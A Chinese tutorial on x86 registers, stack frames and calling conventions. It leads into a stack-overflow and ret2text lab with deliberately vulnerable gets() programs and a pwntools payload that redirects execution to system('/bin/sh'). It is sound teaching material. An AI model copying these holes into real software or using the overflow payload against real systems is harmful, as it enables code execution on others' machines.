赞
踩
32位x86架构下的寄存器可以被简单分为通用寄存器和特殊寄存器两类。
1)通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp、ebp)。
eax | 被称为累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。 |
ebx | 被称为基址寄存器(Base),在内存寻址时(比如数组运算)用以存放基地址。 |
ecx | 被称为记数寄存器(Counter),用以在循环过程中记数。 |
edx | 被称为数据寄存器(Data),常配合 eax 一起存放运算结果等数据。 |
esi、edi | 通常用于字符串操作中,esi 指向要处理的数据地址(Source Index),edi 指向存放处理结果的数据地址(Destination Index)。 |
esp、ebp | 用于保存函数在调用栈中的状态 |
2)特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),标志位寄存器(EFLAGS),以及指令指针寄存器(eip)。
(1)段地址寄存器就是用来存储内存分段地址的,其中寄存器 ss 存储函数调用栈(Stack Segment)的地址,寄存器 cs 存储代码段(Code Segment)的地址,寄存器 ds 存储数据段(Data Segment)的地址,es、fs、gs 是附加的存储数据段地址的寄存器。
(2)标志位寄存器(EFLAGS)32位中的大部分被用于标志数据或程序的状态,例如 OF(Overflow Flag)对应数值溢出、IF(Interrupt Flag)对应中断、ZF(Zero Flag)对应运算结果为0、CF(Carry Flag)对应运算产生进位等等。
(3)指令指针寄存器(eip)存储下一条运行指令的地址。
堆栈的基础知识:
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,两种操作都操作栈顶。
32位平台为例,进程有4GB大小的虚拟地址空间,其中1GB留给系统内核,3GB是进程自身拥有。
认识C语言中函数的调用过程:
当一个函数执行完毕时,程序要回到调用指令的下一条指令(紧接call指令)处继续执行。函数调用过程通常使用堆栈实现,每个用户态进程对应一个调用栈结构(call stack)。编译器使用堆栈传递函数参数、保存返回地址、临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量。
Demo1:
main函数的局部变量a,b,c的地址是从高地址向低地址;
function参数arg1,arg2,arg3的地址是从低地址向高地址。
由于栈是向低地址增长的,所以arg1是最后压入栈的,即function()的参数是从右向左依次压入栈,c最先压入,b其次压入,a最后压入。
写一个demo看一下汇编代码:
call 指令是执行两步,首先压入下一条指令的地址(0x00401940),然后跳转到对应函数function,进入到函数后的汇编代码:
- int function(int arg1, int arg2, char * arg3) {
- 00201780 push ebp ;保存之前的ebp
- 00201781 mov ebp,esp ;更新栈底,此时ebp ,esp指向同一地方
- 00201783 sub esp,0C0h ;开拓栈空间
- 00201789 push ebx ;保存之前函数的ebx,esi,edi现场
- 0020178A push esi
- 0020178B push edi
- 0020178C mov edi,ebp ;edi指向新的栈底
- 0020178E xor ecx,ecx
- 00201790 mov eax,0CCCCCCCCh
- 00201795 rep stos dword ptr es:[edi] ;rep重复执行ecx次,STOS是将eax中的值拷贝到ES:EDI,整体上是初始化栈帧。
- 00201797 mov ecx,offset _091D9EF4_demo@cpp (020C01Ah)
- 0020179C call @__CheckForDebuggerJustMyCode@4 (020131Bh)
- ;函数内部用户代码开始
- printf("%s ",arg3);
- return arg2 + arg1;
- ;函数内部用户代码结束
- 002017B8 pop edi ;恢复现场
- 002017B9 pop esi
- 002017BA pop ebx
- 002017BB add esp,0C0h ;回收栈帧
- 002017C1 cmp ebp,esp ;比较ebp esp是否相等来判断堆栈是否平衡
- 002017C3 call __RTC_CheckEsp (0201244h) ;不相等,则调用堆栈平衡函数
- 002017C8 mov esp,ebp ;还原esp
- 002017CA pop ebp
- 002017CB ret
调用约定:
函数调用总结:
(1)参数传递:通过栈或寄存器方式传递参数。
(2)函数调用:使用call指令调用参数,并将返回地址压入栈中。
(3)保存栈底:保存调用方的栈底寄存器ebp。
(4)申请栈空间和保存寄存器环境:根据函数内局部变量的大小抬高栈顶让出对应的栈空间,并且将即将修改的寄存器保存在栈内。
(5)函数实现代码函数实现过程的代码。
(6)还原环境:还原栈中保存的寄存器信息。
(7)平衡栈空间:平衡局部变量使用的栈空间。
(8)ret返回,结束函数调用从栈顶取出第(2)步保存的返回地址,更新EIP。在非__cdecl调用方式下,平衡参数占用栈空间。
(9)调整esp,平衡栈顶此处为__cdecl特有的方式,用于平衡参数占用的栈顶。
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
首先写一个典型的可溢出代码
- #include <stdio.h>
- #include <string.h>
- void success() { puts("You Hava already controlled it."); }
- void vulnerable() {
- char s[12];
- gets(s);
- puts(s);
- return;
- }
- int main(int argc, char **argv) {
- vulnerable();
- return 0;
- }
gcc -m32 -fno-stack-protector -no-pie stacktest.c -o stacktest1
使用IDA进行观察发现:字符串距离 ebp 的长度为 0x14
并且找到success的地址0x08048442
那么如果我们读取的字符串为:0x14*'a'+'bbbb'+success_addr,由于 gets 会读到回车才算结束,所以程序会直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr。
此时栈结构如下:
使用pwntool进行测试:
payload的代码如下:
对栈的保护的一种方式,如果开启cannary,函数调用的时会先往栈里插入一个cookie值,函数返回上一层的时候会验证cookie值是否准确,如果不不准确就立刻停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie值改掉,这样将导致栈保护检查失败阻止shellcode的执行。在Linux中将cookie值称为canary。但这种保护也不是绝对安全的,攻击者可以利用程序中的函数,获得存在内存中的cookie值。
开启NX则堆、栈不可执行,Windows平台上称其为DEP。NX即No-Execute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令,这样溢出后的shellcode无法执行。但是NX也并不是绝对的安全,很多黑客会构造ROP,可利用程序自己的函数或者在libc库中的函数,甚至是pop rdi ret 等gadget 来控制寄存器,最后再调用int 0x80(syscall)来执行系统调用。因为程序自带的函数、libc中的函数,pop rdi ret 等gadget都有执行权限,所以CPU不会报出异常,程序就会继续执行shellcode。
PIE全称是position-independent executable,中文译地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每一次程序时加载时都会变换加载地址,程序的代码指令会被加载到内存中的任何位置,运行的程序通过相对地址获取指令和数据,如果相反的可执行程序,则该程序的代码指令集必须放到指定的位置才可运行。
对系统安全来说可以写的存储区域就会很危险。尽可能减少可写的存储区域,安全能力就会增强。relro的技术: read only relocation。就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。从而减少对GOT(Global Offset Table)攻击。
checksec脚本:
查看elf:
在栈缓冲区溢出的基础上,利用程序中已有的gadgets来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。
- #include <stdio.h>
- #include <stdlib.h>
- #include <time.h>
-
- void secure(void)
- {
- int secretcode, input;
- srand(time(NULL));
-
- secretcode = rand();
- scanf("%d", &input);
- if(input == secretcode)
- system("/bin/sh");
- }
-
- int main(void)
- {
- setvbuf(stdout, 0LL, 2, 0LL);
- setvbuf(stdin, 0LL, 1, 0LL);
-
- char buf[100];
-
- printf("There is something amazing here, do you know anything?\n");
- gets(buf);
- printf("Maybe I will tell you next time !");
-
- return 0;
- }
编译时确保关闭PIE,STACK检查
使用IDA分析C程序,0x08048698处调用了gets函数
通过查看伪代码发现确实是存在gets栈溢出漏洞
在 secure 函数查看调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至0x08048638 ,那么就可以得到系统的 shell 了。
在 0x08048698处调用gets函数处先下断点,再执行
gets获取输入arg[0]的地址0xffffd15c,ebp是0xffffd1c8,由此可以看出:
arg[0] 相对于 ebp 的偏移为:6c
arg[0] 相对于返回地址的偏移为:6c+4
所以构造paylaod
- ##!/usr/bin/env python
- from pwn import *
-
- sh = process('./rop1')
- target = 0x08048638
- sh.sendline('A' * (0x6c+4) + p32(target))
- sh.interactive()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。